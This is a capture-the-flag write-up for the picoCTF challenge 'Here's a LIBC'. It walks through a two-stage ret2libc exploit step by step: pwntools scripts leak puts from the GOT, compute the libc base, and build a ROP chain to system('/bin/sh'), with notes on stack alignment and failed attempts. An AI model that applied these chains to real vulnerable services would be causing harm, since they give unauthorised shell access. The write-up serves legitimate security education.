Description
I'll give you a LIBC, can you pwn it? Use the provided libc to build a ret2libc exploit and get a shell.
Setup
Download the binary and the provided libc file.
wget https://mercury.picoctf.net/static/.../vulnwget https://mercury.picoctf.net/static/.../libc.so.6chmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Check mitigations and understand the vulnerabilityObservationI noticed the challenge supplies a specific libc.so.6 alongside the binary and explicitly calls for a ret2libc exploit, which suggested that ASLR is active and the provided libc is essential for computing exact symbol offsets at runtime.Run checksec on the binary. Confirm ASLR is active (it always is on modern systems), which means you need to leak a libc address before computing the real system() and /bin/sh addresses.bashchecksec vulnbashfile vulnbashldd vulnpythonpython3 -c "from pwn import *; e=ELF('./vuln'); print(e.plt); print(e.got)"Expected output
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
What didn't work first
Tried: Skip the libc recon step and attempt a ret2plt attack using only gadgets from the binary itself (treating it as a no-libc scenario).
Without knowing the runtime libc base, computing system() and /bin/sh addresses is impossible. A ret2plt chain that calls puts() but never reads back the leak will just print garbage and exit - you must parse the leaked bytes to calculate libc_base before stage 2 can succeed.
Tried: Use the system libc (/lib/x86_64-linux-gnu/libc.so.6) instead of the challenge-provided libc.so.6 when computing offsets.
Symbol offsets differ between libc builds. If your local Ubuntu 20.04 puts() is at offset 0x875a0 but the challenge libc has it at 0x80e50, your libc_base calculation will be off by 0x6150 bytes and system() will point at garbage, causing a segfault. Always load the exact supplied libc.so.6 for offset lookups.
Learn more
When ASLR is active, libc loads at a random base address each run. The key insight is that the offsets between functions within libc are fixed - the distance from
putstosystemis always the same, regardless of where libc is loaded. Once you leak any libc address, you can compute all other addresses.Standard two-stage ret2libc exploit:
- Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call
puts(got['puts']). This prints the resolved address of puts from the GOT, revealing libc's load address. - Stage 2 (Shell): Compute
system = libc_base + libc.sym['system']andbin_sh = libc_base + next(libc.search(b'/bin/sh')). Callsystem('/bin/sh')to get a shell.
- Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call
Step 2
Build the leak stageObservationI noticed the binary is dynamically linked and exposes puts in its PLT and GOT, which suggested calling puts(GOT['puts']) via a ROP chain to print the runtime libc address and then returning to main for a second payload stage.Construct a ROP chain that calls puts(GOT['puts']) to leak the runtime address of puts, then returns back to main for a second exploitation attempt.pythonpython3 - <<'EOF' from pwn import * e = ELF('./vuln') libc = ELF('./libc.so.6') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) pop_rdi = next(e.search(asm('pop rdi; ret'))) offset = 0 # from cyclic analysis # Stage 1: Leak puts address payload = b'A' * offset payload += p64(pop_rdi) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.sym['main']) # return to main for stage 2 p.sendline(payload) p.recvuntil(b' ') # skip any output before the leak leak = u64(p.recvline().strip().ljust(8, b' ')) log.success(f"puts @ {hex(leak)}") libc_base = leak - libc.sym['puts'] log.success(f"libc base @ {hex(libc_base)}") assert libc_base & 0xfff == 0, "libc base must be page-aligned (ends in 000) - wrong libc or wrong leak" EOFWhat didn't work first
Tried: Try to leak puts via puts(plt['puts']) instead of puts(got['puts']), passing the PLT stub address as the argument.
The PLT stub is binary-internal and its address is fixed (not ASLR'd), so printing it tells you nothing about libc's load base. You need to pass got['puts'] - the GOT entry that the dynamic linker filled in with the real runtime address - as the argument so puts() prints the actual resolved libc pointer.
Tried: After receiving the leak, parse it with p.recv(6) and u64(leak + b'\x00\x00') without stripping newlines first.
recvline() leaves a newline byte (0x0a) at the end of the leak. If you ljust to 8 bytes without stripping first, the 0x0a becomes the 7th byte of the u64 and corrupts the address, making libc_base appear to be off by roughly 0x0a00000000. Call .strip() before ljust to remove the trailing newline.
Learn more
The GOT (Global Offset Table) stores the runtime addresses of external library functions after they are resolved by the dynamic linker. The PLT (Procedure Linkage Table) provides stubs that jump through the GOT, with lazy binding filling in the GOT entry on first call.
Stage 1 stack at the moment vuln() returns (each cell is 8 bytes):
rsp -> | pop rdi ; ret | <- ret of vuln() pops this | got['puts'] | pop rdi ; ret -> rdi = &got['puts'] | plt['puts'] | ret jumps here, calls puts(arg = got['puts']) | sym['main'] | puts() returns here -> back to main loopWorked example of the libc base math. Suppose
putsinlibc.so.6is at static offset0x80e50(find withreadelf -s libc.so.6 | grep ' puts$'orlibc.sym['puts']in pwntools). Suppose the leak prints0x7f3a4567ee50. Then:leaked_puts = 0x7f3a4567ee50 puts_offset = 0x000000080e50 libc_base = 0x7f3a4567ee50 - 0x80e50 = 0x7f3a45600000 <- always page-aligned (lowest 12 bits = 0)The
0x000tail confirms the math: shared libraries are always loaded at page boundaries, so a correctlibc_baseends in three zero hex digits. Anything else means a wrong libc version or a wrong leak parse.Why returning to main works.
mainends with the samegets()read loop that the first overflow exploited. After stage 1 prints the leak and returns tomain, the program presents the prompt again, the script reads the leak from the stage-1 output, computessystemand/bin/shfromlibc_base, and sends a second crafted payload through the same vulnerability.Step 3
Build the shell stageObservationI noticed the leaked puts address and the known static offset in the provided libc.so.6 gave us libc_base, which suggested computing system() and the '/bin/sh' string addresses from that base to craft the final system('/bin/sh') ROP chain.In the second stage (after returning to main), compute the real addresses of system() and '/bin/sh' using the libc base, then call system('/bin/sh').python# Continuing from the previous script: python3 - <<'EOF' from pwn import * # ... (previous leak stage) ... system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) ret_gadget = next(e.search(asm('ret'))) # stack alignment # Stage 2: call system('/bin/sh') payload = b'A' * offset payload += p64(ret_gadget) # stack alignment for system() payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(system) p.sendline(payload) p.interactive() EOFWhat didn't work first
Tried: Omit the bare ret gadget for stack alignment and call system('/bin/sh') directly after pop rdi.
glibc's system() contains a movaps xmm0, [rsp+0x50] instruction that requires rsp to be 16-byte aligned (end in 0x0). After the overflow and pop rdi the stack is at an 8-byte boundary (ends in 0x8). Calling system() without first burning that 8 bytes with a bare ret causes a SIGSEGV on the movaps instruction - the shell never spawns even though all addresses are correct.
Tried: Search for '/bin/sh' in the binary itself with next(e.search(b'/bin/sh')) rather than in the provided libc.
CTF binaries rarely embed the string '/bin/sh' themselves. If e.search() returns nothing (or wraps to address 0), the payload sends rdi=0x0 and system(NULL) either crashes or returns immediately. The '/bin/sh' string is always available inside libc at a known static offset - search libc, not the ELF binary.
Learn more
Stage 2 chain layout, with concrete addresses. Suppose
libc_base = 0x7f3a45600000,libc.sym['system'] = 0x52290, and the first/bin/sh\0string lives atlibc.searchoffset0x1b3e1a:system = 0x7f3a45600000 + 0x52290 = 0x7f3a45652290 binsh = 0x7f3a45600000 + 0x1b3e1a = 0x7f3a457b3e1a payload = b'A' * 40 # offset to saved RIP + p64(ret_gadget) # 16-byte align rsp + p64(pop_rdi) + p64(0x7f3a457b3e1a) # rdi = "/bin/sh" + p64(0x7f3a45652290) # call systemWhy the bare ret for alignment. When
vuln()executesretthe stack is at...0x8(saved RIP slot). Thepop rdi; retconsumes 16 bytes total (one pop, one ret), keeping alignment. But glibcsystem()internally usesmovaps xmm0, [rsp+...], which faults on a 16-byte misalignment. Inserting a single bareretbefore the call burns 8 bytes and shiftsrspfrom...0x8to...0x0, satisfying the alignment requirement.Local testing with the provided libc.
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln(or invoke./ld-linux-x86-64.so.2 --library-path . ./vulndirectly) makes the binary load the supplied libc, ensuring offsets you compute locally match those on the challenge server.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{1_<3_sm4sh_st4cking_...}
ret2libc with ASLR requires two stages: first leak a GOT entry to calculate libc base, then call system('/bin/sh') using computed real addresses - the provided libc ensures offset accuracy.